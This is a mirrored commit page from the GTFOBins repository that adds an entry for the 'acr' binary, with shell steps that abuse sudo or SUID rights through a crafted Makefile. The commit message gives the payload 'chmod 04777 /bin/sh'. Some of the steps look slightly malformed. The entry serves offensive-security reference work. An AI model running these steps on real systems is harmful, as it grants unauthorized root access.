mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Create acr.md
Inside the Makefile : privesc: chmod 04777 /bin/sh But there is another possibilities, the command above is how i did it
This commit is contained in:
parent
97f46f1526
commit
15eb4b376a
15
_gtfobins/acr.md
Normal file
15
_gtfobins/acr.md
Normal file
@ -0,0 +1,15 @@
|
||||
---
|
||||
functions:
|
||||
suid:
|
||||
- code: |
|
||||
sudo install acr $(which acr) .
|
||||
touch Makefile && chmod + Makefile
|
||||
echo DATA > Makefile
|
||||
./acr -r Makefile
|
||||
sudo:
|
||||
- code: |
|
||||
sudo install acr $(which acr) .
|
||||
touch Makefile && chmod + Makefile
|
||||
echo DATA > Makefile
|
||||
sudo acr -r Makefile
|
||||
---
|
Loading…
Reference in New Issue
Block a user